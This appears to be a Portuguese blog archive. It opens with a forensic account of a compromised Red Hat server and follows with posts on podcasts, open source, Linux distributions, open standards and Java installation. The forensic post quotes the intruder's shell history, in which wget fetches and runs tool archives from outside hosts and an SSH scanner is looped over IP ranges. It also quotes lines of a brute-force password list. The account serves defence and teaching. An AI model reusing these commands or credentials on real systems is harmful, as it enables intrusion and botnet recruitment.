O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Sobre Podcast

Uma vez perguntei a um amigo o que é um podcast, e ele disse que é um MP3. Bem, isso é tão minimalista quanto dizer que um Gaudí é um amontoado de tijolos, ou que a Internet é uma porção de bits dançantes.

Um podcast é um blog não-textual. Seu conteúdo pode ser audio e/ou vídeo, rodeado por metainformações do tipo “autor”, “entrevistado”, “banda”, “estilo”, “sumário” etc.

Como todo blog, ele tem regularidade: “episódios” no lugar de posts e assim por diante.

Você “assina” um podcast como assina uma revista, da mesma forma como assina um blog (via RSS ou ATOM). Mas como um browser é um leitor essencialmente textual, é mais comum e prático assinar podcasts usando softwares de mídia: iTunes, Yahoo! Music Engine, Amarok, etc.

Na convergência das coisas, um podcast pode ser comparado a um programa de rádio onde o próprio ouvinte decide quando e como vai ouvi-lo.

Num mundo onde tivermos banda larga no ar tão abundante e livre quanto ondas de rádio, além da memória para freqüências de estações, os rádios de nossos carros terão também a assinatura de nossos podcasts preferidos. Com ainda não chegamos a isso, temos que usar MP3 players modernos como o iPod – que tratam podcasts de forma especial – para termos essa funcionalidade.

E nesse mundo, os podcasters seremos você e eu, pessoas comuns falando diretamente para o mundo. Publicar um podcast é tão simples quanto publicar posts num blog. É inclusive algo que se pode integrar com plataformas de blogs comuns, com plugins para WordPress, etc.

Se você tem um fluxo de coisas para dizer, crie um podcast. Se você tem um fluxo de coisas para serem assistidas, crie um podcast. Se você tem um fluxo de coisas que quer que as pessoas ouçam, crie um podcast. Este último é o meu caso, sobre Jazz Brasileiro, e por isso estou juntando os pedaços e os módulos para criar um.

Andei estudando isso ultimamente, e achei importante compartilhar…

Open Source na Prática

O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.

Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.

O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.

A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.

Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.

É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.

Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.

Open Source, Open Standards relacionados a TI

Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.

Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.

A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.

A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.

Choosing a Linux Distribution

It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.

Support and Certification

All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.

For a user, support really means:

  1. A partner available now and in the long term to transfer operational risks.
    This is the most important point. Companies don’t want to take risks — specially the Open Source risks — for themselves.
  2. Fast access to quality updates.
    Companies in general have limited resources to compile, test and apply OSS updates.
  3. Access to a large set of certified hardware (IHV) and software (ISV) vendors, and availability of pre-tested complex solutions.
    A critical part of any IT project is the support and certification connections between its components (hardware, storage, middleware, etc). The most important and valued function provided by a distributor, even more so than the embedded technology in the OS, is its ability to build ecosystems of certified Independent Hardware and Software Vendors.

Price for a License Versus Subscription Business Models

Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.

The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.

It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.

So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.

Choosing the Best Distribution

There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:

  1. Acquire a global commercial Linux subscription such as Red Hat Enterprise Linux or Novell SUSE Linux Enterprise Server.
    A subscription ties together the Open Source software and its global scale support, providing a stable environment for a certified ISV and IHV flourishing ecosystem.
  2. Use free distributors such as as Debian or Slackware and buy support services from an independent local company.
    Free distributions may introduce more risk due to non-global support operations, in addition to a loose integration between software and support, which leads to a weak ISVs and IHVs ecosystem.

In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.

Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.

RHEL versus SLES comparison

Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:

  1. Which distribution vendor do I have closer commercial relationship?
  2. Who has best pricing model for the value provided?
  3. Which distribution does my technical staff have more experience with?
  4. Which distribution is supported and certified by my providers of hardware and software?
  5. If you are unsure, be responsible and use an enterprise distribution.

There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.

Other Enterprise Distributions

There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.

There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.

Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.

Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.

One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.

Padrões Abertos e Linux no Desktop

Hoje a indústria usa o sistema operacional de desktop de praticamente um único fornecedor, cria aplicações gráficas 100% dependentes dele, e usa uma suite de escritório que também só funciona sobre esse mesmo sistema operacional. Ainda por cima, os documentos de formato proprietário com que o mercado usa só podem ser gerados e consumidos por essa mesma suite.

Se nossos CDs de música tocam em qualquer CD player, por que nossas aplicações, páginas da web, documentos, etc não podem ser usados em qualquer sistema operacional, plataforma de hardware, etc ?

A demora para isso acontecer reflete quão dependente dessas tecnologias proprietárias é o mercado. Isso é caro principalmente porque não há com quem negociar alternativas, e por isso essas tecnologias terão o preço que seu fornecedor quiser.

A IBM ainda está analisando o direcionamento futuro dos nossos desktops internos para funcionários. Não foi decidido entre Linux ou Vista, nem Darwin, nem BSD, nem nenhum outro sistema operacional.

Temos iniciativas internas fortíssimas para que os produtos e serviços de nossa Intranet sigam Padrões Abertos. Dessa forma, um funcionário pode escolher o sistema operacional que melhor se adequar ao seu trabalho.

Não usamos uma tecnologia proprietária de impressão remota, e sim o serviço que usa Padrões Abertos para imprimir na rede.

Não usamos uma aplicação proprietária de VPN, mas o serviço de VPN que usa Padrões Abertos.

Não temos um serviço de diretórios de uma implementação proprietária, e sim um diretório corporativo baseado no Padrão Aberto LDAP.

Não usamos documentos de formatos proprietários, que só podem ser gerados e consumidos por uma única suite de escritório, mas reforçamos o uso do novo Open Document Format, baseado em XML, introduzido pelo OpenOffice.org, que pode ser aberto em qualquer suite de escritório.

E por aí vai….

A última fronteira é a convergência gradativa dos produtos de workgroup baseados em Lotus Notes com o novo Workplace Client Technology, que implementa Padrões Abertos, e que é baseado no Eclipse (como dezenas de outros produtos da IBM).

E digo mais: as tecnologias proprietárias que usamos internamente nos nossos desktops, tivemos que adotá-las porque quando surgiu a necessidade de resolver o problema de negócio que elas resolvem, simplesmente não haviam opções que implementassem Padrões Abertos. Conforme surgem Padrões para aquele determinado problema, isso entra em pauta e a migração é estudada seriamente. Logicamente analizando custos, funcionalidades, viabilidade, etc, porque essa é a forma racional de se fazer mudanças.

Padrões Abertos. Padrões Abertos. Padrões Abertos. Essas são as palavras do momento.

Para o mundo comercial, isso é mais importante do que ter acesso ao código fonte de um software. E é algo que deve estar sempre presente na pauta de TI do CIO.

Pregamos que companhias que inovam reutilizando Padrões Abertos levam vantagem porque seus recursos são liberados para trabalhos que agregam maior valor, e porque as oportunidades do mercado se expandem à medida que os Padrões Abertos proliferam.

É o que dizemos aos nossos clientes. É o que acreditamos. E é o que fazemos.

Instalando Java e Eclipse em Linux

permalink Porque Java com Linux ?

Nos primórdios das tecnologias, todas elas nasciam proprietárias porque seus criadores queriam explora-las ao máximo, por serem todas novidades.

Depois da popularização do PC, e mais ainda, da Internet, fabricantes começaram a se reunir ao redor de Padrões Abertos para criar uma rede de valor onde todos — fabricantes e usuários — acabam ganhando.

Os Pilares do e-businessExistem hoje inúmeros Padrões Abertos, mas os que se destacam são os seguintes:

  • HTML
    É a representação universal de interfaces com usuários. Hoje qualquer usuário de computador sabe usar um browser e navegar através de um hipertexto. HTML, ou melhor ainda, hoje, DHTML ou AJAX, é o padrão aberto para aplicações interagirem com usuários.
  • XML
    Antes de XML, não havia um padrão aberto amplamente aceito que permitisse qualquer aplicação falar com qualquer outra aplicação, mesmo de fabricantes diferentes. XML se tornou a base dos Web Services e Arquitetura Orientada a Serviços, que traz o benefício da integração de processos, com parceiros, clientes e fornecedores.
  • Java Enterprise Edition
    Java é a tecnologia escolhida por toda a indústria para transformar processos de negócio em software. É o Padrão Aberto para se escrever aplicações. Antes de Java, desenvolvedores usam diversas linguagens, sem uma metodologia universal de programação e sem nenhum padrão de bibliotecas de alto nível. JEE (Java Enterprise Edition) é um padrão de biblioteca com métodos universais para aplicações de negócio.
  • Linux
    É o sistema operacional escalável e multiplataforma para rodar tudo isso. É o componente aberto que faltava para ligar a lógica de negócio com padrões abertos de HW.

Essas quatro tecnologias juntas provém tudo que um desenvolvedor precisa para criar suas aplicações de negócio.

permalink Java comparado a C/C++, PHP, Perl e Python

Cabe ao desenvolvedor escolher a linguagem/tecnologia certa para a aplicação certa. Não só os aspectos tecnológicos devem ser levados em conta, mas também aceitação no mercado, aderência a padrões, reputação, política de atualização da tecnológica, prontidão para uma aplicação de negócios, etc.

  • C é uma linguagem criada para desenvolver sistemas operacionais, ou algoritmos de baixo nível, quase no nível da máquina, e é nesse nível que essa linguagem se sai melhor. C++ surgiu a alguns anos trazendo orientação a objetos, mas ambas linguagens falharam em padronizar suas semânticas e, principalmente, bibliotecas multiplataforma abertas, e de uso genérico. A não ser que você esteja escrevendo sistemas operacionais, ou bibliotecas de acesso a hardware, uma linguagem mais prática que C ou C++ deve ser escolhida para desenvolver sua aplicação de negócio.
  • PHP é uma linguagem/tecnologia desenhada para criar páginas web dinâmicas. Seus programas são geralmente mesclados com código HTML e equivale a JSP e ASP. É muito usada e provou seu valor, porém tem pouca penetração no mundo corporativo e de aplicações de negócio (de fabricantes de SW), e por isso pouco suporte da indústria para que a tecnologia evolua como um padrão. Então, por ser um investimento de risco, dificilmente uma grande empresa vai escolher PHP como tecnologia estratégica para a confecção de suas aplicações críticas, mesmo porque PHP é mais madura somente para aplicações web.
  • Perl é abreviação de Practical Extract and Reporting Language, que sugere ter sido criada para manipular texto. A linguagem e suas bibliotecas cresceram para muito além disso, e há hoje quem a use para fazer grandes sistemas. Porém isso é considerado um exagero de uso, pois os programas são interpretados em tempo de execução, o que acarreta performance limitada, e é de fato desenhada para automatizar tarefas de sistema operacional. Python, apesar de ser mais moderna e poder ser compilada, não foge muito deste escopo também. Além disso, ambas ainda não conseguiram uma aceitação comercial madura, e, não representando um investimento seguro a longo prazo, ainda não tem sido escolhidas como estratégicas para a fábrica de SW de uma empresa, ou para um sistema complexo e de missão crítica.

Em contrapartida, a tecnologia Java tem as seguintes características:

  • Atingiu um nível de maturidade e aceitação de toda a industrial que o torna um investimento seguro quando da escolha de uma plataforma de desenvolvimento de aplicações de negócio.
  • Evolui de acordo com as decisões de um comitê independente chamado Java Community Process, onde empresas e indivíduos votam igualmente para a aceitação de uma novidade. São integrantes ativos do JCP empresas como IBM, Apache Software Foundation, Dolby Laboratories, JBoss, SAP, Oracle, Nokia, Sony, etc. Lista completa em http://jcp.org/en/participation/members.
  • Toda a indústria respeita as decisões do JCP, evitando o surgimento de derivados (forks) de comportamento diferente.
  • É um grande polo tecnológico, tendo somente .NET como seu polo oposto e concorrente (e ainda imaturo de certa forma).

permalink Instalando Java Em Linux

Há muitas formas de instalar a JVM em Linux, mas há somente uma forma correta: usando RPM através do repositório JPackage.

permalink Sobre Repositórios de RPMs

A instalação de um pacote RPM pode falhar se outro pacote precisa ser instalado antes. Isso é conhecido como o inferno das dependências.

Para resolver este problema a comunidade criou ferramentas de instalação de pacotes como o Yum e o APT, que, junto com os metadados oferecidos por um repositório de RPMs, liquidam este problema calculando tudo que é necessário fazer para instalar certo pacote, atualizando automaticamente pacotes já instalados, ou instalando novos, tudo para satisfazer as dependências do pacote que o usuário deseja instalar.

Um repositório é um site na web que contem vários RPMs e metadados de interdependências sobre esses pacotes, que são usados por ferramentas como yum e apt-get.


permalink
O projeto JPackage e seu Repositório de RPMs

jpackage logoO JPackage é um repositório de RPMs de alta qualidade de softwares relacionados a Java. É uma comunidade de pessoas que empacotam em RPM as JVMs mais conhecidas do mercado, bem como softwares Java populares como Tomcat, Eclipse, Jakarta, etc.

A primeira pergunta que surge depois que dizemos isso é: “Mas as JVMs da Sun, IBM, etc já não são disponibilizadas em RPM ?�? Sim, mas cada fornecedor empacota como bem entende, sem seguir nenhum padrão de diretórios ou do sistema operacional. E essa despadronização faz a tecnologia como um todo ser mais difícil de usar.

O Projeto JPackage resolveu isso definindo uma organização de diretórios que permite multiplas JVMs, e lugares padronizados para arquivos JAR, WAR, EAR, etc. O JPackage inovou simplesmente aplicando os conceitos do Filesystem Hierarchy Standard — um padrão aberto dos mais importantes para Linux — aos softwares Java.

O resultado é tão bom, que a Red Hat, SUSE, Mandriva e outros adotaram o padrão JPackage de empacotamento e diretórios para tudo que se refere a Java em suas distribuições (RHEL, Fedora, SLES, SLED, OpenSUSE, NLD, Mandriva, etc).

permalink Problemas do JPackage

O JPackage tem uma diretriz de fornecer em seu repositório somente RPMs de softwares livres. Por isso, softwares que não tem licenças livres estão lá somente como RPMs-fonte, que não são tão simples de se instalar, mas mesmo assim promovem a organização e a qualidade do JPackage. Entre esses softwares estão a própria JVM, que vamos demonstrar sua instalação agora.

permalink Inicializando o JPackage em seu sistema

Antes de instalar qualquer RPM oferecido pelo JPackage, você precisa configurar as ferramentas que acessam e instalam os pacotes automaticamente no seu sistema.

